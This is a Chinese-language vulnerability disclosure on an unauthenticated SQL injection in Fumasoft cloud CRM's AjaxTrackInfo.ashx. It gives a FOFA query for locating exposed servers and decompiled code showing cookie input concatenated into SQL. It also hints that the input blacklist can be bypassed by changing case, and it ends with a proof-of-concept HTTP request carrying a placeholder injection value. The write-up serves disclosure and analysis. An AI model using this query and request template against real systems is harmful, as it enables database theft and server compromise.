孚盟云CRM AjaxTrackInfo.ashx SQL注入漏洞


漏洞简介

上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云AjaxTrackInfo.ashx接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

app="孚盟软件-孚盟云"

漏洞分析

直接看 AjaxTrackInfo.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 AjaxTrackInfo 方法的实现如下

public class AjaxTrackInfo : IHttpHandler
{
  public void ProcessRequest(HttpContext context)
  {
    try
    {
      context.Response.ContentType = "text/plain";
      new SqlAndHtmlChecker(context.Request, context.Response).Check();
      string empID = string.Empty;
      if (!string.IsNullOrEmpty(UserCookie.GetCookieValue("empId")))
        empID = FumaCRM_BS.Utility.Encrypt.Encrypt.DesDecrypt(UserCookie.GetCookieValue("empId"));
string s = context.Request["method"].ToString();
switch (\u003CPrivateImplementationDetails\u003E.ComputeStringHash(s))
...
if (!string.op_Equality(s, "SendMessage"))
  break;
this.SendMessage(context, empID);
break;

看下初始的 SqlAndHtmlChecker 方法,从字面意思看是安全检测相关的

确实是检测是否存在sql注入或XSS相关的的字符,但是没有检测cookie的部分? 况且,其他部分的检测也可以通过大小写这种方式绕过黑名单。

当method=SendMessage时,进入SendMessage方法

private void SendMessage(HttpContext context, string empID)
{
  string str1 = context.Request["cid"];
  string str2 = context.Request["messg"];
  string str3 = context.Request["FID"];
  string str4 = context.Request["custFID"];
  string str5 = context.Request["agentId"];
  string str6 = context.Request["url"];
  string str7 = context.Request["MouldID"] == null ? "VI001" : context.Request["MouldID"];
  JsonSerializerSettings settings = new JsonSerializerSettings()
  {
    NullValueHandling = NullValueHandling.Ignore
  };
  string str8 = new CreatePageDao().GetDataSource($"select Dingding from bfEMP where EmpID='{empID}'").Rows[0][0].ToString();

参数empID被直接拼接进SQL语句中执行,期间无过滤或校验,从而造成SQL注入漏洞。

DingTrack和more方法也存在同样的拼接导致的SQL注入漏洞。

漏洞复现

POST /m/Dingding/Ajax/AjaxTrackInfo.ashx HTTP/1.1
Host: fumacrm.mrxn.net
Cookie: UserCookie={"empId":"SQLI_POC","corpId": "1"}
Content-Type: application/x-www-form-urlencoded

method=SendMessage


手机扫码阅读

孚盟云CRM DingHandler.ashx SQL注入漏洞

CLIProxyAPI /v1internal:method 未授权访问漏洞

评 论